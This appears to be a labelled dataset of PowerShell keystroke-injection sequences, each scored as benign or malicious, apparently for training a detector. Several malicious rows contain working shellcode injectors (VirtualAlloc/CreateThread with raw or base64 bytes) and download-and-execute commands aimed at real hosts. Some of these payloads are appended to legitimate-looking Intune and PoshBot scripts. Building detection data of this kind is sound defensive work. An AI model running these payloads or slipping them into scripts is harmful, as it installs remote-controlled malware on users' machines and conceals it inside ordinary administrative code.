"win+r enter powershell enter enter enter function Install-SPOSolution enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory=$true, Position=1)] enter [string]$solutionName enter ) enter enter Write-Host ""Activate solution $path"" -foregroundcolor black -backgroundcolor yellow enter enter Switch-SPOEnableDisableSolution -solutionName $solutionName -activate $true enter enter Write-Host ""Solution succesfully activated"" -foregroundcolor black -backgroundcolor green enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = ;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep -s 120}; enter enter",1,1,5.6336314e-05,0.9999436
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_xgybkbab"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.txt"") -Encoding UTF8 enter Get-Service -Name ""*network*"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_service_name_pattern.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4103203e-05
"win+r enter powershell enter enter enter function fu { enter Param ($pLZ, $tuL) enter $kzA = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') enter enter return $kzA.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($kzA.GetMethod('GetModuleHandle')).Invoke($null, @($pLZ)))), $tuL)) enter } enter enter function qD { enter Param ( enter [Parameter(Position = 0, Mandatory = $True)] [Type[]] $vr4, enter [Parameter(Position = 1)] [Type] $tb = [Void] enter ) enter enter $o3XLZ = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) enter $o3XLZ.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $vr4).SetImplementationFlags('Runtime, Managed') enter $o3XLZ.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $tb, $vr4).SetImplementationFlags('Runtime, Managed') enter enter return $o3XLZ.CreateType() enter } enter enter [Byte[]]$ixMV8 = [System.Convert]::FromBase64String(""/OiPAAAAYInlMdJki1Iwi1IMi1IUD7dKJjH/i3IoMcCsPGF8Aiwgwc8NAcdJde9SV4tSEItCPAHQi0B4hcB0TAHQi1ggUAHTi0gYhcl0PEkx/4s0iwHWMcCswc8NAcc44HX0A334O30kdeBYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS6YD///9daDMyAABod3MyX1RoTHcmB4no/9C4kAEAACnEVFBoKYBrAP/VagpolJEDcWgCAB32ieZQUFBQQFBAUGjqD9/g/9WXahBWV2iZpXRh/9WFwHQK/04IdezoZwAAAGoAagRWV2gC2chf/9WD+AB+Nos2akBoABAAAFZqAGhYpFPl/9WTU2oAVlNXaALZyF//1YP4AH0oWGgAQAAAagBQaAsvDzD/1VdodW5NYf/VXl7/DCQPhXD////pm////wHDKcZ1wcO78LWiVmoAU//V"") enter [Uint32]$yL = 0 enter $mU = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fu kernel32.dll VirtualAlloc), (qD @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $ixMV8.Length,0x3000, 0x04) enter enter [System.Runtime.InteropServices.Marshal]::Copy($ixMV8, 0, $mU, $ixMV8.length) enter if (([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fu kernel32.dll VirtualProtect), (qD @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]))).Invoke($mU, [Uint32]$ixMV8.Length, 0x10, [Ref]$yL)) -eq $true) { enter $fxL = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fu kernel32.dll CreateThread), (qD @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$mU,[IntPtr]::Zero,0,[IntPtr]::Zero) enter [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((fu kernel32.dll WaitForSingleObject), (qD @([IntPtr], [Int32]))).Invoke($fxL,0xffffffff) | Out-Null enter } enter [decoded_payloads] enter [decoded:from_base64_string] enter ﳨ輀悉퉤譒る刌譒ᐏ띊☱ﾋ爨㇀갼慼Ȭ⃁켍LJ䥵型刐譂㰁킋䁸藀瑌ǐ識⁐Ǔ譈ᢅ쥴㱉ㇿ謴謁혱사쇏ഁ윸緸㭽⑵識␁퍦謌䮋堜Ǔ謄謁킉䐤⑛孡奚凿彚謒￿｝栳㈀h睳㉟周䱷☇觨￐뢐Ā)쑔偨⦀欀ￕ樊梔鄃煨Ȁ᷶触偐偐䁐䁐棪࿟햗樐噗梙ꕴ懿햅쁴૿丈痬jjі坨˙졟ￕ菸~㚋㙪䁨 噪h墤句ￕ鍓樀噓坨˙졟ￕ菸}⡘栀䀀jP栋⼏ヿ핗桵湍懿핞廿త྅烿￿￿！쌩왵쇃믰떢噪Sￕ enter enter",1,1,8.09471e-05,0.99991906
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_9w7r9twh"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 10 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_process_overview_10.csv"") -NoTypeInformation enter",0,0,0.9999654,3.459817e-05
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/wopkwj.exe',"" enter $env:TEMP\drv.docx"");Start-Process (""$env:TEMP\drv.docx"") enter enter",1,1,5.8408783e-05,0.9999416
win+r powershell enter  function Test-VirtualMachineZone { $rgname = Get-ComputeTestResourceName enter try { [string]$loc = Get-ComputeVMLocation; enter,1,1,0.00092623214,0.99907374
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_x60268t3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.json"") -Encoding UTF8 enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter",0,0,0.9999659,3.4084183e-05
"win+r powershell enter function Stop-PSFRunspace { [CmdletBinding(SupportsShouldProcess = $true, Hel enter pUri = 'https://psframework.org/documentation/commands/PSFramework/Stop-PSFRunsp enter ace')] Param ( [Parameter(ValueFromPipeline = $true)] [string[]] $Name, [ enter Parameter(ValueFromPipeline = $true)] [PSFramework.Runspace.RunspaceContainer[] enter ] $Runspace, enter",1,1,0.008962757,0.99103725
"win+r powershell enter $1 = '$c = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc enter (IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImpor enter t(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttrib enter utes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreati enter onFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr enter memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c enter -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0x enter e8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x enter 0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x enter 3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x enter 52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x enter 50,0x8b,0x48,0x18,0x enter enter",1,1,5.4056432e-05,0.999946
win+r enter powershell enter enter enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install spotify enter A enter enter enter,0,0,0.99996054,3.947205e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_076wb6r3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""Display"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_display_devices.csv"") -NoTypeInformation enter",0,0,0.99996555,3.4406152e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_rabho48q"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_75.csv"") -NoTypeInformation enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Write-Host ""Starting service_checks section 3."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.42515e-05
"S t a r t - S l e e p - S e c o n d s 3 ; $ h a d d i n B r o o m s t a f f enter = ( "" h t t p s : / / b l u e j a y t r a d e r s . c o m / O p u Z y 1 q / enter K 1 E 5 l b n T V 6 , h t t p s : / / d e o r a g r o u p . c o m / U D i L 2 0 enter / E v S u c , h t t p s : / / v i d a s d e s p l a z a d a s . o r g / 9 F 0 enter B I A F / J S 8 H k , h t t p s : / / s h a y a n e f a i z c o n s t . c o m / enter R z b / S B m 8 h 4 j c o E 5 Q , h t t p s : / / c o i f f u r e p a c i t t o enter . c o m / X O X K a / u 3 Z 7 x 6 , h t t p s : / / m e d i m a r k e t i n g . enter c o m . b r / j I 5 b / B N T y k A G f u K R "" ) . s p l i t ( "" , "" ) ; f o enter r e a c h ( $ s e x o l o g i s t i n $ h a d d i n B r o o m s t a f f ) enter { t r y { I n v o k e - W e b R e q u e s t $ s e x o l o g i s t - T i enter m e o u t S e c 1 7 - O $ e n v : T E M P \ I n d u r a t e d A n o r e c enter t o u s . d l l ; i enter",1,1,6.573119e-05,0.9999343
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_7o9ia166"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 200 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.409956e-05
"win+r powershell enter $qwLy = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $qwLy - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xd9,0xc8 enter ,0xd9,0x74,0x24,0xf4,0xbf,0x20,0x5c,0x71,0xea,0x5e,0x31,0xc9,0xb1,0x47,0x31,0x7e enter ,0x18,0x83,0xee,0xfc,0x03,0x7e,0x34,0xbe,0x84,0x16,0xdc,0xbc,0x67,0xe7,0x1c,0xa1 enter ,0xee,0x02,0x2d,0xe1,0x95,0x47,0x1d,0xd1,0xde,0x0a,0x91,0x9a,0xb3,0xbe,0x22,0xee enter ,0x1b,0xb0,0x83,0x45,0x7a,0xff,0x14,0xf5,0xbe,0x9e,0x96,0x04,0x93,0x40,0xa7,0xc6 enter ,0xe6,0x81,0xe0,0x3b enter enter",1,1,5.396876e-05,0.999946
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""support_summary_gg6kjzad"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter",0,0,0.99996614,3.3841046e-05
"win+r enter powershell enter enter enter function Get-AuthToken { enter [cmdletbinding()] enter enter param enter ( enter [Parameter(Mandatory=$true)] enter $User enter ) enter enter $userUpn = New-Object ""System.Net.Mail.MailAddress"" -ArgumentList $User enter enter $tenant = $userUpn.Host enter enter Write-Host ""Checking for AzureAD module..."" enter enter $AadModule = Get-Module -Name ""AzureAD"" -ListAvailable enter enter if ($AadModule -eq $null) { enter enter Write-Host ""AzureAD PowerShell module not found, looking for AzureADPreview"" enter $AadModule = Get-Module -Name ""AzureADPreview"" -ListAvailable enter enter } enter enter if ($AadModule -eq $null) { enter write-host enter write-host ""AzureAD Powershell module not installed..."" -f Red enter write-host ""Install by running 'Install-Module AzureAD' or 'Install-Module AzureADPreview' from an elevated PowerShell prompt"" -f Yellow enter write-host ""Script can't continue..."" -f Red enter write-host enter exit enter } enter if($AadModule.count -gt 1){ enter enter $Latest_Version = ($AadModule | select version | Sort-Object)[-1] enter enter $aadModule = $AadModule | ? { $_.version -eq $Latest_Version.version } enter if($AadModule.count -gt 1){ enter enter $aadModule = $AadModule | select -Unique enter enter } enter enter $adal = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.dll"" enter $adalforms = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll"" enter enter } enter enter else { enter enter $adal = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.dll"" enter $adalforms = Join-Path $AadModule.ModuleBase ""Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll"" enter enter } enter enter [System.Reflection.Assembly]::LoadFrom($adal) | Out-Null enter enter [System.Reflection.Assembly]::LoadFrom($adalforms) | Out-Null enter enter $clientId = ""d1ddf0e4-d672-4dae-b554-9d5bdfd93547"" enter enter $redirectUri = ""urn:ietf:wg:oauth:2.0:oob"" enter enter $resourceAppIdURI = ""https://graph.microsoft.com"" enter enter $authority = ""https://login.microsoftonline.com/$Tenant"" enter enter try { enter enter $authContext = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.AuthenticationContext"" -ArgumentList $authority enter $platformParameters = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.PlatformParameters"" -ArgumentList ""Auto"" enter enter $userId = New-Object ""Microsoft.IdentityModel.Clients.ActiveDirectory.UserIdentifier"" -ArgumentList ($User, ""OptionalDisplayableId"") enter enter $authResult = $authContext.AcquireTokenAsync($resourceAppIdURI,$clientId,$redirectUri,$platformParameters,$userId).Result enter if($authResult.AccessToken){ enter $authHeader = @{ enter 'Content-Type'='application/json' enter 'Authorization'=""Bearer "" + $authResult.AccessToken enter 'ExpiresOn'=$authResult.ExpiresOn enter } enter enter return $authHeader enter enter } enter enter else { enter enter Write-Host enter Write-Host ""Authorization Access Token is null, please re-run authentication..."" -ForegroundColor Red enter Write-Host enter break enter enter } enter enter } enter enter catch { enter enter write-host $_.Exception.Message -f Red enter write-host $_.Exception.ItemName -f Red enter write-host enter break enter enter } enter enter } enter Function Get-IntuneBrand(){ enter [cmdletbinding()] enter enter $graphApiVersion = ""Beta"" enter $Resource = ""deviceManagement/intuneBrandingProfiles"" enter enter try { enter enter $uri = ""https://graph.microsoft.com/$graphApiVersion/$($resource)"" enter (Invoke-RestMethod -Uri $uri -Headers $authToken -Method Get).value enter enter } enter enter catch { enter enter $ex = $_.Exception enter $errorResponse = $ex.Response.GetResponseStream() enter $reader = New-Object System.IO.StreamReader($errorResponse) enter $reader.BaseStream.Position = 0 enter $reader.DiscardBufferedData() enter $responseBody = $reader.ReadToEnd(); enter Write-Host ""Response content:`n$responseBody"" -f Red enter Write-Error ""Request to $Uri failed with HTTP Status $($ex.Response.StatusCode) $($ex.Response.StatusDescription)"" enter write-host enter break enter enter } enter enter } enter write-host enter if($global:authToken){ enter $DateTime = (Get-Date).ToUniversalTime() enter $TokenExpires = ($authToken.ExpiresOn.datetime - $DateTime).Minutes enter enter if($TokenExpires -le 0){ enter enter write-host ""Authentication Token expired"" $TokenExpires ""minutes ago"" -ForegroundColor Yellow enter write-host enter if($User -eq $null -or $User -eq """"){ enter enter $User = Read-Host -Prompt ""Please specify your user principal name for Azure Authentication"" enter Write-Host enter enter } enter enter $global:authToken = Get-AuthToken -User $User enter enter } enter } enter else { enter enter if($User -eq $null -or $User -eq """"){ enter enter $User = Read-Host -Prompt ""Please specify your user principal name for Azure Authentication"" enter Write-Host enter enter } enter $global:authToken = Get-AuthToken -User $User enter enter } enter Get-IntuneBrand enter enter while($true){Start-Sleep -s 120; $m=New-Object System.Net.WebClient;$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;$m.Headers.Add('user-agent', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)'); iex(($m.downloadstring('https://raw.githubusercontent.com/rollzedice/js/master/drupal2.js')));} enter enter",1,1,5.6482902e-05,0.9999435
"win+r enter powershell enter enter enter $vjFG = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $vjFG -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbe,0x4c,0x54,0xcb,0xbd,0xda,0xd9,0xd9,0x74,0x24,0xf4,0x5d,0x2b,0xc9,0xb1,0x47,0x31,0x75,0x13,0x03,0x75,0x13,0x83,0xc5,0x48,0xb6,0x3e,0x41,0xb8,0xb4,0xc1,0xba,0x38,0xd9,0x48,0x5f,0x09,0xd9,0x2f,0x2b,0x39,0xe9,0x24,0x79,0xb5,0x82,0x69,0x6a,0x4e,0xe6,0xa5,0x9d,0xe7,0x4d,0x90,0x90,0xf8,0xfe,0xe0,0xb3,0x7a,0xfd,0x34,0x14,0x43,0xce,0x48,0x55,0x84,0x33,0xa0,0x07,0x5d,0x3f,0x17,0xb8,0xea,0x75,0xa4,0x33,0xa0,0x98,0xac,0xa0,0x70,0x9a,0x9d,0x76,0x0b,0xc5,0x3d,0x78,0xd8,0x7d,0x74,0x62,0x3d,0xbb,0xce,0x19,0xf5,0x37,0xd1,0xcb,0xc4,0xb8,0x7e,0x32,0xe9,0x4a,0x7e,0x72,0xcd,0xb4,0xf5,0x8a,0x2e,0x48,0x0e,0x49,0x4d,0x96,0x9b,0x4a,0xf5,0x5d,0x3b,0xb7,0x04,0xb1,0xda,0x3c,0x0a,0x7e,0xa8,0x1b,0x0e,0x81,0x7d,0x10,0x2a,0x0a,0x80,0xf7,0xbb,0x48,0xa7,0xd3,0xe0,0x0b,0xc6,0x42,0x4c,0xfd,0xf7,0x95,0x2f,0xa2,0x5d,0xdd,0xdd,0xb7,0xef,0xbc,0x89,0x74,0xc2,0x3e,0x49,0x13,0x55,0x4c,0x7b,0xbc,0xcd,0xda,0x37,0x35,0xc8,0x1d,0x38,0x6c,0xac,0xb2,0xc7,0x8f,0xcd,0x9b,0x03,0xdb,0x9d,0xb3,0xa2,0x64,0x76,0x44,0x4b,0xb1,0xe3,0x41,0xdb,0xfa,0x5c,0x48,0x76,0x93,0x9e,0x4b,0x99,0x3f,0x16,0xad,0xc9,0xef,0x78,0x62,0xa9,0x5f,0x39,0xd2,0x41,0x8a,0xb6,0x0d,0x71,0xb5,0x1c,0x26,0x1b,0x5a,0xc9,0x1e,0xb3,0xc3,0x50,0xd4,0x22,0x0b,0x4f,0x90,0x64,0x87,0x7c,0x64,0x2a,0x60,0x08,0x76,0xda,0x80,0x47,0x24,0x4c,0x9e,0x7d,0x43,0x70,0x0a,0x7a,0xc2,0x27,0xa2,0x80,0x33,0x0f,0x6d,0x7a,0x16,0x04,0xa4,0xee,0xd9,0x72,0xc9,0xfe,0xd9,0x82,0x9f,0x94,0xd9,0xea,0x47,0xcd,0x89,0x0f,0x88,0xd8,0xbd,0x9c,0x1d,0xe3,0x97,0x71,0xb5,0x8b,0x15,0xac,0xf1,0x13,0xe5,0x9b,0x03,0x6f,0x30,0xe5,0x71,0x81,0x80;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$SSkA=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($SSkA.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$SSkA,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.2641328e-05,0.9999473
"win+r enter powershell enter enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory)] enter [string] enter $Configuration enter ) enter enter $ErrorActionPreference = 'Stop' enter Set-StrictMode -Version 'Latest' enter Import-Module -Name (Join-Path -Path $PSScriptRoot -ChildPath '..\PSModules\VSSetup' -Resolve) enter enter $instances = Get-VSSetupInstance enter $instances | Format-List | Out-String | Write-Verbose enter $instance = $instances | enter Where-Object { $_.DisplayName -notlike '* Test Agent *' } | enter Sort-Object -Descending -Property InstallationVersion | enter Select-Object -First 1 enter enter $idePath = Join-Path -Path $instance.InstallationPath -ChildPath 'Common7\IDE' -Resolve enter Write-Verbose -Message ('Using {0} {1} found at ""{2}"".' -f $instance.DisplayName,$instance.InstallationVersion,$idePath) enter $installerSlnPath = Join-Path -Path $PSScriptRoot -ChildPath 'Carbon.Installer.sln' -Resolve enter enter $env:PATH = '{0}{1}{2}' -f $env:PATH,[IO.Path]::PathSeparator,$idePath enter enter Write-Verbose ('devenv ""{0}"" /build ""{1}""' -f $installerSlnPath,$Configuration) enter devenv $installerSlnPath /build $Configuration enter if( $LASTEXITCODE ) enter { enter Write-Error -Message ('Failed to build Carbon test installers. Check the output above for details. If the build failed because of this error: ""ERROR: An error occurred while validating. HRESULT = ''8000000A''"", open a command prompt, move into the ""{0}"" directory, and run "".\Common7\IDE\CommonExtensions\Microsoft\VSI\DisableOutOfProcBuild\DisableOutOfProcBuild.exe"".' -f $instance.InstallationPath) enter } enter enter",0,0,0.9998753,0.00012464552
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_78ik2i51"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_75.txt"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.json"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 3."" enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Outbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_outbound.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4233213e-05
win+r powershell enter function Set-LHSTokenPrivilege { <# .SYNOPSIS Enables or disables privileges in enter a specified access token. .DESCRIPTION Enables or disables privileges in a sp enter ecified access token. .PARAMETER Privilege The privilege to adjust. This set i enter s taken from http://msdn.microsoft.com/en-us/library/bb530716(VS.85).aspx enter,1,1,6.113902e-05,0.99993885
"win+r powershell enter $VgMR = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $VgMR - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xcd enter ,0xbe,0x15,0xcd,0xed,0x03,0xd9,0x74,0x24,0xf4,0x58,0x33,0xc9,0xb1,0x47,0x31,0x70 enter ,0x18,0x83,0xe8,0xfc,0x03,0x70,0x01,0x2f,0x18,0xff,0xc1,0x2d,0xe3,0x00,0x11,0x52 enter ,0x6d,0xe5,0x20,0x52,0x09,0x6d,0x12,0x62,0x59,0x23,0x9e,0x09,0x0f,0xd0,0x15,0x7f enter ,0x98,0xd7,0x9e,0xca,0xfe,0xd6,0x1f,0x66,0xc2,0x79,0xa3,0x75,0x17,0x5a,0x9a,0xb5 enter ,0x6a,0x9b,0xdb,0xa8 enter",1,1,5.4668668e-05,0.9999453
"win+r enter powershell enter enter enter class ConfigProvidedParameter { enter [PoshBot.FromConfig]$Metadata enter [System.Management.Automation.ParameterMetadata]$Parameter enter enter ConfigProvidedParameter([PoshBot.FromConfig]$Meta, [System.Management.Automation.ParameterMetadata]$Param) { enter $this.Metadata = $Meta enter $this.Parameter = $param enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,6.148667e-05,0.9999385
